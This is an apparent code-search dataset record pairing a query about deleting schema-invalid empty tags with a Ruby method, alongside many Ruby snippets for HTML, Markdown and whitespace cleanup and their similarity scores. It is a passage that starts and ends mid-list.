['', nil].include?(fc.value)\n fc.detach_from_parent\n end\n end\n lc = ke.children.last\n if lc && :text == lc.type && lc.value =~ /[ \\n\\t]+\\z/\n # push out trailing whitespace\n lc.value.rstrip!\n if(foll_sib = ke.following_sibling) && (:text == foll_sib.type)\n # following sibling is :text el\n # Prepend trailing whitespace\n foll_sib.value.prepend(' ')\n else\n # following sibling doesn't exist or is something other than :text\n # Insert a :text el as followings sibling\n ke.insert_sibling_after(Kramdown::ElementRt.new(:text, ' '))\n end\n # remove text node if it is now empty\n if ['', nil].include?(lc.value)\n lc.detach_from_parent\n end\n end\n end\n end", "def sanitize_written_content(content)\n unless content[P_TAG] || content[BR_TAG]\n content = if content[BLOCKQUOTE_QUICK_SEARCH] && content[BLOCKQUOTE_TAG]\n content.gsub(LINEBREAK, BR)\n else\n simple_format_largebreak(content, sanitize: false)\n end\n end\n\n Glowfic::Sanitizers.written(content)\n end", "def remove_leading_and_trailing_whitespace(text)\n pre_blocks = text.split(DO_NOT_TOUCH_WHITESPACE)\n\n output = []\n pre_blocks.each.with_index do |block, index|\n if index % 2 == 0\n output << block.gsub(/[ \\t]*\\n[ \\t]*/im, \"\\n\").gsub(/ *\\t */im, \"\\t\")\n else\n output << block\n end\n end\n\n output.join\n end", "def add_paragraphs_to_text(text)\n\n # get rid of spaces and newlines-before/after-paragraphs and linebreaks\n # this enables us to avoid converting newlines into paras/breaks where we already have them\n source = text.gsub(/\\s*(<p[^>]*>)\\s*/, '\\1') # replace all whitespace before/after <p>\n source.gsub!(/\\s*(<\\/p>)\\s*/, '\\1') # replace all whitespace before/after </p>\n source.gsub!(/\\s*(<br\\s*?\\/?>)\\s*/, '<br />') # replace all whitespace before/after <br> \n\n # do we have a paragraph to start and end\n source = '<p>' + source unless source.match(/^<p/)\n source = source + \"</p>\" unless source.match(/<\\/p>$/)\n \n # If we have three newlines, assume user wants a blank line\n source.gsub!(/\\n\\s*?\\n\\s*?\\n/, \"\\n\\n&nbsp;\\n\\n\")\n\n # Convert double newlines into single paragraph break\n source.gsub!(/\\n+\\s*?\\n+/, '</p><p>')\n\n # Convert single newlines into br tags\n source.gsub!(/\\n/, '<br />')\n \n # convert double br tags into p tags\n source.gsub!(/<br\\s*?\\/?>\\s*<br\\s*?\\/?>/, '</p><p>')\n \n # if we have closed inline tags that cross a <p> tag, reopen them \n # at the start of each paragraph before the end\n HTML_TAGS_TO_REOPEN.each do |tag| \n source.gsub!(/(<#{tag}>)(.*?)(<\\/#{tag}>)/) { $1 + reopen_tags($2, tag) + $3 }\n end\n \n # reopen paragraph tags that cross a <div> tag\n source.gsub!(/(<p[^>]*>)(.*?)(<\\/p>)/) { $1 + reopen_tags($2, \"p\", \"div\") + $3 }\n \n # swap order of paragraphs around divs\n source.gsub!(/(<p[^>]*>)(<div[^>]*>)/, '\\2\\1')\n\n # Parse in Nokogiri\n parsed = Nokogiri::HTML.parse(source)\n parsed.encoding = 'UTF-8'\n \n # Get out the nice well-formed XHTML\n source = parsed.css(\"body\").to_xhtml\n \n # trash empty paragraphs and leading spaces\n source.gsub!(/\\s*<p[^>]*>\\s*<\\/p>\\s*/, \"\")\n source.gsub!(/^\\s*/, '')\n \n # get rid of the newlines-before/after-paragraphs inserted by to_xhtml,\n # so that when this is loaded up by strip_html_breaks in textarea fields,\n # \n source.gsub!(/\\s*(<p[^>]*>)\\s*/, '\\1')\n source.gsub!(/\\s*(<\\/p>)\\s*/, '\\1')\n \n # trash the body tag\n source.gsub!(/<\\/?body>\\s*/, '')\n \n # return the text\n source\n end", "def remove_empty_lines(source)\n for_outstrings_of(source) do |str|\n str.gsub /\\n\\s*\\n/m, \"\\n\"\n end\n end", "def cleanUpNewLines html_string\n cleaned = html_string\n cleaned.gsub!(\"\\r\\n\\r\\n\", \"::::\")\n return cleaned\n end", "def remove_paragraphs_from_list_items!\n @document.tree.search('li p').each { |node| node.node_name = 'span' }\n end", "def textilize_without_paragraphs\n\t\tunless self.nil? or self.empty?\n\t\t string = self.textilize\n\t\t string = string[3..-1]\n\t\t string = string[0..-5]\n\t\telse\n\t\t \"\"\n\t end\n\tend", "def remove_blank_lines(text)\n text.split(\"\\n\").reject { |l| l.strip == '' }.join(\"\\n\") + \"\\n\"\n end", "def hard_break( text ) \n text.gsub!( /(.)\\n(?!\\n|\\Z|>| *([#*=]+(\\s|$)|[{|]))/, \"\\\\1<br />\" ) if hard_breaks\n end", "def flush_left text\n indent = 9999\n\n text.each_line do |line|\n line_indent = line =~ /\\S/ || 9999\n indent = line_indent if indent > line_indent\n end\n\n empty = ''\n empty = RDoc::Encoding.change_encoding empty, text.encoding\n\n text.gsub(/^ {0,#{indent}}/, empty)\n end", "def summary\n self.content.gsub(/\\r?\\n\\r?\\n(.*)/m, '') # break after the first paragraph\n end", "def append_paragraph_breaks(out)\n out.sub!(TRAILING_WHITESPACE, EMPTY)\n if out.end_with?(NEWLINE)\n out << NEWLINE unless out.end_with?(\"\\n\\n\")\n else\n out << \"\\n\\n\"\n end\n end", "def empty\n each { |x| x.inner_html = nil }\n end", "def body_clean\n text = \"\"\n\n # Iterate through each line\n body.split(/\\n/).each do |line|\n # Included replies \"> some text\"\n next if line.match(/^>+/) \n next if line.match(/On.*wrote:/)\n # Outlook reply style\n break if line.match(/-{4,}Original Message-{4,}/)\n # Signature break \"--\"\n break if line.match(/^\\s*\\-{2,}\\s*$/)\n # Lines with only whitespace - blank them\n line.gsub(/^\\s+$/, \"\")\n\n text += line + \"\\n\"\n end\n\n # Clean out multiple line breaks throughout (longer than one blank line)\n text.gsub!(/\\n{3,}/, \"\\n\\n\") \n # Clean up multiple line breaks at end (none)\n text.gsub!(/\\n{2,}$/, \"\\n\")\n\n return text\n end", "def sanitize_children(children)\n children.reject{|node| node.name == \"text\" && node.content.strip.empty?}\n end", "def strip_heredoc\n gsub(/^#{scan(/^[ \\t]*(?=\\S)/).min}/, ''.freeze)\n end", "def termdef_unnest_cleanup(xmldoc)\n desgn = \"//p/admitted | //p/deprecates | //p/preferred | //p//related\"\n nodes = xmldoc.xpath(desgn)\n while !nodes.empty?\n nodes[0].parent.replace(nodes[0].parent.children)\n nodes = xmldoc.xpath(desgn)\n end\n end", "def clean_block(block)\n # Return empty block if it is a list of links\n return \"\" if is_link_list?(block)\n\n # Return empty block if it is a very link heavy block\n count = 0\n no_links = block.gsub(/<a\\s[^>]*>.*?<\\/a\\s*>/im){count+=1;''}.gsub(/<form\\s[^>]*>.*?<\\/form\\s*>/im, '')\n return \"\" if no_links.length < 20 * count\n\n strip_tags(no_links)\n end", "def outdent(text)\n lines = text.split(\"\\n\")\n indented_with = /^ +/.match(lines.first)[0]\n lines.map { |line| line.gsub(/^#{indented_with}/, '') }.join(\"\\n\") + \"\\n\"\n end", "def textilize_without_paragraph(do_object_links=false)\n textilize(do_object_links).sub(/\\A<p[^>]*>(.*?)<\\/p>.*/m, '\\\\1')\n end", "def clean_white_space\n @content.gsub!(/\\n{2,}/, \"\\n\")\n write_content_to_file\n end", "def clear_break\n \"<br clear='all' style='clear: both;'/>\".html_safe\n end", "def all_block_elements(tag_name, initial_element, next_elements)\n closing_block_pattern = BLOCK_NAMED_CLOSE_PATTERN % { tag_name: tag_name }\n closing_block_matcher = /#{closing_block_pattern}/\n paragraphs = Nokogiri::XML::NodeSet.new(document, [initial_element])\n\n return unless next_elements.text =~ closing_block_matcher\n\n until (paragraph = next_elements.shift).text =~ closing_block_matcher do\n paragraphs << paragraph\n end\n\n paragraphs << paragraph\n end", "def post_process(doc)\n doc.gsub(\"\\n\",'')\n end", "def strip_newlines(input); end", "def textilize_without_paragraph(do_object_links=false, sanitize=true)\n textilize(do_object_links, sanitize).sub(/\\A<p[^>]*>(.*?)<\\/p>.*/m, '\\\\1')\n end", "def sanitize(text)\n return nil if text.nil? || text.empty?\n string = text.to_s # ensure we have a string\n\n doc = Nokogiri::HTML.parse(text)\n\n doc.xpath('//@style').remove\n doc.xpath('//@class').remove\n doc.xpath('//@id').remove\n doc.xpath('//@font-size').remove\n doc.xpath('//@color').remove\n doc.xpath('//@size').remove\n doc.xpath('//@face').remove\n doc.xpath('//@bgcolor').remove\n doc.xpath('//comment()').remove\n\n # remove \"bad\" elements\n doc.css('script, link, img, style').each { |node| node.remove }\n\n # convert all <div>s to <p>s\n doc.css('div').each do |div|\n node = doc.create_element 'p'\n node.inner_html = div.inner_html\n div.replace(node)\n end\n\n # remove <font> and <span> tags, but preserve their content\n doc.css('font, span').each do |node|\n node.swap(node.children)\n end\n\n # removing tags leaves dangling text nodes that should really be merged, so let's\n # re-build the document\n doc = Nokogiri::HTML.parse(doc.to_s)\n\n # wrap orphaned text nodes in <p> tags\n doc.css('html body').children.each do |orphan|\n if orphan.class == Nokogiri::XML::Text && !orphan.text.strip.gsub(Envelope::Message::ALL_SPACES, '').empty?\n node = doc.create_element 'p'\n node.inner_html = orphan.text\n orphan.replace(node)\n end\n end\n\n # remove all <p><br><p>\n doc.css('p br').each do |node|\n node.remove\n end\n\n # convert all new lines to br and trim content\n doc.css('p').each do |node|\n node.inner_html = node.inner_html.gsub(\"\\n\", '<br>').strip\n end\n\n # remove empty tags\n doc.css('html body > *').each do |node|\n unless %w(br p).include?(node.name)\n node.remove if node.inner_html.gsub(Envelope::Message::ALL_SPACES, '').empty?\n end\n end\n\n doc.css('html body > *').to_s.gsub(/[\\n\\t]+?/, '')\n end", "def postprocess(document)\n document.gsub(\"\\n\", ' ').strip\n end", "def remove_lines(text)\n text.gsub(/\\n/, '')\n end", "def clean_article_body\n get_source_selectors.each do |selector|\n if @page.search(selector).present?\n @page = page.search(selector)\n break\n end\n end\n # Strip unwanted spaces and newlines.\n @page.collect {|elt| elt.content.strip.gsub(/\\n|\\r/, '').gsub(/\\ +/, ' ')}.join(' ')\n end", "def blank!\r\n @node.xpath(\".//w:t\").each {|t| t.content = '' }\r\n end", "def simple_format(text)\r\n text.gsub!(/(\\r\\n|\\n|\\r)/, \"\\n\") # lets make them newlines crossplatform\r\n text.gsub!(/\\n\\n+/, \"\\n\\n\") # zap dupes\r\n text.gsub!(/\\n\\n/, '</p>\\0<p>') # turn two newlines into paragraph\r\n text.gsub!(/([^\\n])(\\n)([^\\n])/, '\\1\\2<br />\\3') # turn single newline into <br />\r\n\r\n #MGS- don't want everything wrapped in a <p> tag\r\n #content_tag(\"p\", text)\r\n return text\r\n end", "def format_text(noko_element)\n text_array = noko_element.children.map do |node|\n if node.children.empty? \n node.text\n else\n node.children.map do |nested_node|\n nested_node.text\n end\n end\n end.flatten\n \n text_groups = text_array.chunk do |line|\n line != \"\" && line != \" \" && line != \"\\u00A0\"\n end.to_a\n \n paragraphs = text_groups.map do |group|\n group[1].join if group[0]\n end.compact\n \n # removes a reference to an image seen on webpage.\n paragraphs.delete_at(0) if paragraphs[0].downcase.include?(\"edition\")\n\n paragraph_lines = paragraphs.map do |paragraph|\n paragraph.scan(/(.{1,75})(?:\\s|$)/m)\n end\n \n paragraph_lines.map do |line|\n line.join(\"\\n\") \n end.join(\"\\n\\n\")\n end", "def prep_newlines(text)\n\ttext.gsub!(/^[\\w\\<][^\\n]*\\n+/) do |x|\n\t\tx =~ /\\n{2}/ ? x : (x.strip!; x << \" \\n\")\n\tend\n\ttext\nend", "def remove_paragraphs_from_tables!\n @document.tree.search('td p').each { |node| node.node_name = 'span' }\n end", "def remove_whitespace_from_list_items!\n @document.tree.search('li span').each { |span| span.inner_html.strip! }\n end", "def note_cleanup(xmldoc)\n q = \"//note[following-sibling::*[not(local-name() = 'note')]]\"\n xmldoc.xpath(q).each do |n|\n next if n[\"keep-separate\"] == \"true\"\n next unless n.ancestors(\"table\").empty?\n\n prev = n.previous_element || next\n n.parent = prev if ELEMS_ALLOW_NOTES.include? prev.name\n end\n xmldoc.xpath(\"//note[@keep-separate] | \"\\\n \"//termnote[@keep-separate]\").each do |n|\n n.delete(\"keep-separate\")\n end\n end", "def normalise_html(html)\n Nokogiri::HTML5.fragment(html).to_s.gsub(\"\\n\", \"\")\n end", "def stripped_text_blocks\n stripped = []\n text_blocks.each do |tb|\n if \"Boston Police Department\" == tb && %r{^\\d+/\\d+/\\d{4} } =~ stripped.last\n # skip\n stripped.pop\n elsif /, Police Commissioner/ =~ tb\n # skip\n elsif /^Selected & Sorted By:/ =~ tb\n # skip\n elsif /^Record Count:/ =~ tb\n # skip\n stripped.pop if /^\\d+$/ =~ stripped.last\n elsif /^(Date:|Reported|Occurred)$/ =~ tb\n # skip\n else\n stripped << tb\n end\n end\n stripped\n end", "def com_quebra_html\n return self if self.blank?\n self.gsub(\"\\n\", '<br/>').gsub('\\n', '<br/>')\n end", "def text hard_break = ''\n @parts.map do |part|\n if RDoc::Markup::HardBreak === part then\n hard_break\n else\n part\n end\n end.join\n end", "def words_truly_before_newlines\n @words_truly_before_newlines ||=\n begin\n decoded_html =\n (html_part || '').\n to_s.\n sub(/\\A[\\s\\S]*^Content-Transfer-Encoding:.+[\\r\\n]+/, '').\n unpack1('M').\n force_encoding('utf-8').\n delete(\"\\r\").\n rstrip\n nokogiri_doc = Nokogiri.parse(decoded_html)\n nokogiri_doc.css('.gmail_quote').remove\n Set.new(nokogiri_doc.to_s.scan(/[^<>\\s]+(?=<br|<\\/?div)/))\n end\n end", "def html_text( text_node )\n self.remove_leading_and_trailing_whitespace( text_node )\n end", "def preprocess(node)\n if node.text?\n if node.parent&.fragment? && node.blank?\n node.remove\n elsif (prev_node = node.previous)&.text?\n prev_node.content += node.content\n node.remove\n end\n elsif node.comment?\n if node.previous&.text? && node.next&.text? && node.next.content.match?(NEWLINE_BEGIN)\n content = node.previous.content.sub!(NEWLINE_END_OPTIONAL, '')\n content.empty? ? node.previous.remove : node.previous.content = content\n end\n\n node.remove\n end\n\n node.children.each do |child|\n preprocess(child)\n end\n\n if node.fragment?\n children = node.children\n root, root2 = children[0..1]\n\n if (child = children.find(&:text?))\n raise(MalformedTemplateError.new('text nodes are not allowed at root level', @name, child))\n elsif !root\n raise(MalformedTemplateError.new('a root node is required', @name))\n elsif root2\n raise(MalformedTemplateError.new(\"root node already defined on line #{root.line}\", @name, root2))\n end\n end\n end", "def strip_heredoc\n indent = scan(/^[ \\t]*(?=\\S)/).min.try(:size) || 0\n gsub(/^[ \\t]{#{indent}}/, '')\n end", "def trim\n self.content = self.content.squeeze(\"\\n\").squeeze(\" \").strip\n end", "def clear_break\n \"<br clear='all' style='clear: both;'/>\"\n end", "def clean_description(description)\n description.sub(/^<p>/, \"\").sub(/<\\/p> ?(\\n)?$/, \"\")\n end", "def add_paragraphs\n lines = seperate_lines\n max_index = lines.size - 1\n (1..(max_index)).each do |index|\n previous_line = lines[index -1]\n current_line = lines[index]\n next_line = lines[index + 1]\n if current_line[0] != (\"#\" || \"\\n\" || \"</p>\")\n if previous_line[0] == \"\\n\"\n lines.insert(index, \"<p>\\n\")\n elsif next_line[0] == \"\\n\"\n lines.insert(index + 1, \"\\n</p>\")\n elsif next_line == nil\n lines << \"\\n</p>\"\n else\n lines\n end\n end\n end\n @doc = lines.join\n end", "def strip_html_tags(text)\n return text.gsub!(/(<[^>]*>)|\\n|\\t/s) {\" \"}\n end", "def as_text\n return self if self.blank?\n mytext = self.gsub(/<p>(.*?)<\\/p>/mi,'\\1'+\"\\n\\n\")\n mytext = mytext.gsub(/<br(.*?)>/mi,\"\\n\") \n mytext = mytext.gsub(/<p(.*?)>/mi,\"\\n\\n\") \n mytext = mytext.gsub(/<\\/p>/mi,\"\") \n mytext = mytext.gsub(/<div(.*?)>/mi, \"\")\n mytext = mytext.gsub(/<\\/div>/mi,\"\") \n # Go ahead and strip all the other html tags as well\n mytext = mytext.gsub(/<\\/?[^>]*>/, \"\")\n CGI.unescapeHTML(mytext).strip\n end", "def outdent(str)\n str =~ /\\A(?:\\s*?\\n)( *)(.*)\\z/m ? $2.gsub!(/^ {0,#{$1.length}}/, '') : str\n end", "def replace_nodes\n doc.xpath(\".//text()\").each do |node|\n next if has_ancestor?(node, ignored_ancestor_tags)\n\n content = node.to_html\n html = yield content, node\n\n next if html == content || html.nil?\n if html.length == 0\n node.parent.remove\n else\n node.replace(html)\n end\n end\n end", "def remove_empty_lines!\n delete_if { |r| r.nil? || r.compact.empty? }\n self\n end", "def remove_space_after_paragraph_numbers!(lb)\n lb.gsub!(/(\\\\RtParagraphNumber\\{[^\\}]+\\})\\s*/, '\\1')\n end", "def trim_white_space_between_language_elements(content)\n content.gsub(/\\<\\/(div|span)\\>\\s+\\<\\1\\slang=[\"']([^\"']+)[\"']>/, '</\\1><\\1 lang=\"\\2\">')\n end", "def cleanup_newlines\n [:description, :use].each do |field|\n self[field].gsub!(/\\r\\n/, \"\\n\") if self[field]\n end\n end", "def strip_newlines text\n text.gsub(/\\A\\n*(.*?)\\n*\\z/m, '\\1')\n end", "def correct_unclosed_html_tags(element)\n [:i, :sup].each do |tag|\n strip_stray_close_tags(element,tag)\n append_missing_close_tags(element,tag)\n end\n end", "def unorphan(input)\n input.sub(/\\s+(\\S+)\\s*$/, '&nbsp;\\1')\n end", "def sanitize_whitespace_during_import!(ke)\n case ke.type\n when :text\n # reduce runs of whitespace and tabs to single space\n ke.value.gsub!(/[ \\t]+/, ' ')\n when :p, :header\n # Remove para or header outer whitespace\n # remove leading whitespace\n if(\n (fc = ke.children.first) &&\n :text == fc.type\n )\n fc.value.gsub!(/\\A[ \\t\\n]+/, '')\n if '' == fc.value\n # remove :text el if it is now empty\n ke.children.delete_at(0)\n # process ke again since there may be new leading whitespace\n sanitize_whitespace_during_import!(ke)\n end\n end\n # remove trailing whitespace\n if(\n (lc = ke.children.last) &&\n :text == lc.type\n )\n lc.value.gsub!(/[ \\t\\n]+\\z/, '')\n if '' == lc.value\n # remove :text el if it is now empty\n ke.children.delete_at(-1)\n # process ke again since there may be new trailing whitespace\n sanitize_whitespace_during_import!(ke)\n end\n end\n end\n end", "def strip_trailing_whitespace(text)\n text.split(\"\\n\").collect(&:strip).join(\"\\n\")\n end", "def sanitize_text(text)\n doc = Nokogiri::HTML.fragment(text)\n UNSUPPORTED_HTML_TAGS.each do |tag|\n doc.search(tag).each(&:remove)\n end\n doc.inner_html\n end", "def accept_paragraph paragraph\n @res << \"\\n<p>\"\n text = paragraph.text @hard_break\n text = text.gsub(/\\r?\\n/, ' ')\n @res << to_html(text)\n @res << \"</p>\\n\"\n end", "def rdoc_paragraphs(rdoc_text)\n paragraphs, current = [], \"\"\n rdoc_text.each_line do |s|\n if s.strip.empty?\n unless current.strip.empty?\n paragraphs << current \n end\n current = \"\"\n else\n current << s\n end\n end\n unless current.strip.empty?\n paragraphs << current \n end\n paragraphs\n end", "def parse_blocks(el, text = T.unsafe(nil)); end", "def block_docbook_lists( text )\n orig_text = text.dup\n delimiter = \"\"\n text.gsub!( LISTS_RE ) do |match|\n lines = match.split( /\\n/ )\n last_line = -1\n depth = []\n lines.each_with_index do |line, line_id|\n if line =~ LISTS_CONTENT_RE \n tl,continuation,atts,content = $~[1..4]\n if depth.last\n if depth.last.length > tl.length\n (depth.length - 1).downto(0) do |i|\n break if depth[i].length == tl.length\n lines[line_id - 1] << \"</para></listitem>\\n</#{ lD( depth[i] ) }>\\n\"\n depth.pop\n end\n end\n if depth.last.length == tl.length\n lines[line_id - 1] << \"</para></listitem>\"\n end\n end\n unless depth.last == tl\n depth << tl\n atts = docbook_pba( atts )\n atts = shelve( atts ) if atts\n delimiter = lD(tl)\n lines[line_id] = \"<#{ delimiter }#{ atts }>\\n<listitem><para>#{ content.gsub(\"<\",\"&lt;\").gsub(\">\",\"&gt;\") }\"\n else\n lines[line_id] = \"<listitem><para>#{ content.gsub(\"<\",\"&lt;\").gsub(\">\",\"&gt;\") }\"\n end\n last_line = line_id\n\n else\n last_line = line_id\n end\n if line_id - last_line > 1 or line_id == lines.length - 1\n depth.delete_if do |v|\n lines[last_line] << \"</para></listitem>\\n</#{ lD( v ) }>\"\n end\n end\n end\n lines.join( \"\\n\" )\n end\n text != orig_text\n end", "def split_paragraphs_largebreak(text)\n return [] if text.blank?\n text.to_str.gsub(/\\r\\n?/, \"\\n\").split(/\\n\\n/).map! do |t|\n t.gsub!(/(^\\n|[^\\n]\\n)(?=[^\\n])/, '\\1<br />') || t\n end\n end", "def wrapped_by_paragraph; end", "def wrap_with_paragraphs(env, nodes); end", "def add_following_empty_lines(node, lines)\n first_line_index = node.line - 1 + lines.size\n extra_lines = []\n\n extra_lines << '' while HamlLint::Utils.is_blank_line?(@original_haml_lines[first_line_index + extra_lines.size])\n\n if @original_haml_lines[first_line_index + extra_lines.size].nil?\n # Since we reached the end of the document without finding content,\n # then we don't add those lines.\n return lines\n end\n\n lines + extra_lines\n end", "def process_content(content)\n\n result = content\n .strip # => remove left and right spaces\n .chomp # => remove trailing \\n\n .gsub(/\\u00a0/, \"\") # => remove non-breaking spaces\n .gsub(/\\n +/, \" \") # => replace \\n followed by spaces with only one space\n\n # Finally, replace empty results by nil\n result = result.empty? ? nil : result\n end", "def clean_markdown(md)\n lines = md.split(\"\\n\")\n cleaned = []\n last_stripped = ''\n\n lines.each do |itm|\n stripped = itm.strip\n\n if stripped.start_with?('* ')\n # make sure there is a blank line before the first line of a UL\n if last_stripped != \"\\n\" && !last_stripped.start_with?('* ')\n cleaned << ''\n end\n\n elsif stripped.start_with?('1. ')\n # make sure there is a blank line before the first line of a OL\n if last_stripped != \"\\n\" && !last_stripped.start_with?('1. ')\n cleaned << ''\n end\n\n elsif stripped.start_with?('>')\n # make sure there is a blank line before the first line of a block quote\n if last_stripped != \"\\n\" && !last_stripped.start_with?('>')\n cleaned << ''\n end\n end\n\n cleaned << itm\n last_stripped = stripped\n end\n\n cleaned.join(\"\\n\")\n end", "def clean_html(doc)\n\n # Remove font tags\n doc.xpath('//font').each do |node|\n node.children.each do |child|\n child.parent = node.parent\n end\n node.remove\n end\n\n # Remove path to links:\n doc.xpath('//a').each do |node|\n href = node.attr(\"href\")\n href =~ /([^\\/]*)$/\n node.set_attribute(\"href\", $1)\n end\n\n # Remove <br> tags within li elements\n doc.xpath('//li').each do |li|\n li.xpath('//br').each do |br|\n br.remove\n end\n end\n\n # Remove <p> tags within li elements\n doc.xpath('//li').each do |li|\n li.xpath('//p').each do |p|\n p.children.each do |child|\n child.parent = p.parent\n end\n p.remove\n end\n end\n\n return doc\n end", "def fix_newlines\n unless self.body.nil?\n self.body = self.body.gsub('\\n', \"\\n\")\n end\n end", "def clear(p)\n p.to_plain_text.gsub(/\\n/, \"\").gsub(/\\[.*?\\]/, '')\n end", "def strip_paragraphs_from_tables(doc)\n doc.css(\"td p\").each { |node| node.replace(node.children) }\n end", "def strip_surrounding_empty_lines(str)\n str.sub(/\\A[[:space:]]*^/, \"\")\n .sub(/$[[:space:]]*\\z/, \"\")\n end" ]
[ "0.73270065", "0.7274272", "0.67452425", "0.64590013", "0.64409304", "0.6403169", "0.63708806", "0.63551295", "0.6309027", "0.62990797", "0.6281875", "0.61500823", "0.6125572", "0.6099613", "0.6087406", "0.6078612", "0.6076282", "0.6058409", "0.6041931", "0.6027673", "0.60040426", "0.598848", "0.5977258", "0.59172803", "0.5900022", "0.58994776", "0.5876886", "0.5873209", "0.58584553", "0.5852484", "0.582611", "0.5812371", "0.58047944", "0.5802969", "0.58028495", "0.5791287", "0.5790774", "0.577108", "0.57624716", "0.5757278", "0.5743517", "0.5739621", "0.5731434", "0.5729288", "0.5726511", "0.5718299", "0.569837", "0.5680216", "0.5667902", "0.56672156", "0.5667103", "0.5664943", "0.56644285", "0.5656031", "0.565479", "0.56508225", "0.56452453", "0.5638236", "0.5632156", "0.5622432", "0.56175315", "0.56140655", "0.5607773", "0.5606044", "0.56031334", "0.5591766", "0.55722576", "0.55647075", "0.5561878", "0.555199", "0.55378497", "0.5512916", "0.55124587", "0.5508075", "0.55073345", "0.5501582", "0.5494559", "0.5489006", "0.5475378", "0.5461998", "0.545983", "0.5459443", "0.5455987", "0.54548526", "0.5428377", "0.5427422", "0.54240805", "0.54088235", "0.54069245", "0.54018253", "0.539812", "0.5396706", "0.539229", "0.5388836", "0.53837615", "0.5380116", "0.53763956", "0.53743273", "0.53735787", "0.5371315" ]
0.7031917
2
The schema defines some tags that may not be empty. This method removes any such empty tags from the tree.
def delete_invalid_empty_tags!(node) node.children.reject! do |child| if child.is_a?(TagNode) if child.children.empty? and !@schema.tag_may_be_empty?(child.tag_name) true else delete_invalid_empty_tags!(child) false end end end node end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def delete_empty_tags\n sorted_tags = Tag.all.sort_by { |tag| tag.articles.count }\n return if sorted_tags.first.articles.count > 0\n\n sorted_tags.each { |tag| tag.delete if tag.articles.count == 0 }\n end", "def delete_all_tags\n delete_tags(self.tags)\n nil\n end", "def clean_all_tags\n self.tags.destroy_all\n self.countries.destroy_all\n self.requirements.destroy_all\n self.places.destroy_all\n end", "def clean_up_tags\n self.tags.each do |tag|\n if tag.todos.count == 1\n tag.destroy\n end\n end\n end", "def empty_tags\n ['area', 'base', 'br', 'col', 'frame', \n 'hr', 'img', 'input', 'link', 'meta']\n end", "def empty?\n tag.empty?\n end", "def handle_empty_tag(tag, attrs)\r\n add_child_to_current(tag, attrs)\r\n end", "def empty_tags\n ['area', 'base', 'br', 'hr', 'img', 'input', 'link', 'meta']\n end", "def empty\n delete_old_nodes 0\n end", "def reset\n @tags.clear\n end", "def delete_unwanted_children\n @children.keys.each do |key|\n if(@children[key][:value].class.name === \"Array\")\n if(@children[key][:value].empty?)\n @children.tap { |hs| hs.delete(key) }\n end\n else\n if(@children[key][:value].nil?)\n @children.tap { |hs| hs.delete(key) }\n end\n end\n end\n end", "def empty\n each { |x| x.inner_html = nil }\n end", "def blank!\r\n @node.xpath(\".//w:t\").each {|t| t.content = '' }\r\n end", "def delete_junk_breaks!(node)\n\t\t\tnode.children.reject! do |child|\n\t\t\t\tif child.is_a?(TagNode) and !node.is_a?(RootNode)\n\t\t\t\t\tif !child.children.empty?\n\t\t\t\t\t\tdelete_junk_breaks!(child)\n\t\t\t\t\t\tfalse\n\t\t\t\t\telsif child.tag_name == @schema.paragraph_tag_name\n\t\t\t\t\t\t# It's an empty paragraph tag\n\t\t\t\t\t\ttrue\n\t\t\t\t\telsif @schema.block_level?(node.tag_name) and child.tag_name == @schema.line_break_tag_name and node.children.last == child\n\t\t\t\t\t\t# It's a line break a the end of the block-level element\n\t\t\t\t\t\ttrue\n\t\t\t\t\telse\n\t\t\t\t\t\tfalse\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tfalse\n\t\t\t\tend\n\t\t\tend\n\t\t\tnode\n\t\tend", "def clear\n @hash_tags.clear\n end", "def remove_empty_fields\n self.each_pair do |k, v|\n if self[k].class == Hash\n self[k] = self[k].remove_empty_fields\n else\n self.delete(k) if v.to_s == \"\"\n end\n end\n self\n end", "def remove_empty_statement\n @statement_list.reject!{|x|\n x.class == StEmpty\n }\n end", "def clear_all_tags()\n puts \"Deleting Tags...\"\n Tag.delete_all()\n puts \"Finished deleting all tags.\"\nend", "def delete_tags\n @tags.delete_tags(@filename) unless @tags.nil?\n end", "def tag_list; []; end", "def safe_destroy\n destroy if taggings.empty? && expressions.empty? && dependent_lists.empty?\n end", "def have_empty_tag tag, options = {}\n have_tag(tag, options.merge(:blank => true))\n end", "def strip_blanks!\n @content.reject! { |item| item[:type] == :blank }\n end", "def cleanup(node)\n node = node.root if ::Nokogiri::XML::Document === node\n # remove unwanted tags\n node.xpath(\"//*[@jam='erase']\").each do |n|\n unwrap(n)\n end\n # remove jam attributes\n\n #\n node\n end", "def remove_unused_leaves\n each_node do |n|\n n.pin([]) if n.weight == 0 && n.children.empty?\n end\n end", "def remove_tags(tags)\n\t\t\t@metadata.attributes.update do |u|\n\t\t\t\tu.delete(:tags => tags)\n\t\t\t\tu.add(:idenity => 1)\n\t\t\tend\n\t\t\treturn nil\n\t\tend", "def cleaned_tags\n @product.tags.split(',').reject{ |c| c.empty? or c == \" \" }.uniq.join(',')\n end", "def remove_empty_paragraphs(env)\n node = env[:node]\n\n node.unlink if node.element? && (node.name == 'p' || node.name == 'span') && node.inner_html.squish.blank?\n end", "def delete_unused_tags\n ActiveRecord::Base.connection.execute(\n \"delete from tags where id in(\n select t.id from tags as t left join posts_tags as pt on pt.tag_id = t.id where pt.tag_id is null\n )\"\n )\n end", "def strip_tags\n %w(name description allowed_values).each do |a|\n next if send(a).blank?\n self.send \"#{a}=\", send(a).gsub(/\\<.*?\\>/, '')\n end\n true\n end", "def strip_tags\n %w(name description allowed_values).each do |a|\n next if send(a).blank?\n self.send \"#{a}=\", send(a).gsub(/\\<.*?\\>/, '')\n end\n true\n end", "def strip_tags\n %w(name description allowed_values).each do |a|\n next if send(a).blank?\n self.send \"#{a}=\", send(a).gsub(/\\<.*?\\>/, '')\n end\n true\n end", "def test_no_tag\n @tag.on_root('t002.txt', nil)\n @tag.after_root('t002.txt', nil)\n assert_equal '1', @tag.tag_page_db['t002_, __no_tag_']\n end", "def destroy_tag(*tags)\n tags.each do |tag|\n gsub! Regexp.new(\"<\\s*#{tag}[^>]*>.*?<\\s*\\/#{tag}\\s*>\", Regexp::IGNORECASE + Regexp:: MULTILINE), ''\n end\n end", "def blank_nodes\n bindings.values.select {|v| v.is_a?(RDF::Node)}.uniq\n end", "def tags() []; end", "def tags!\n @tags = nil\n tags\n end", "def clean_tree(root_node)\n return if root_node.elements.nil?\n root_node.elements.delete_if {|node| node.class.name == \"Treetop::Runtime::SyntaxNode\" }\n root_node.elements.each {|node| clean_tree(node) }\nend", "def tag_clean_up\n all_tags = Tag.all\n all_modules = UniModule.all\n\n all_tags.each do |tag|\n 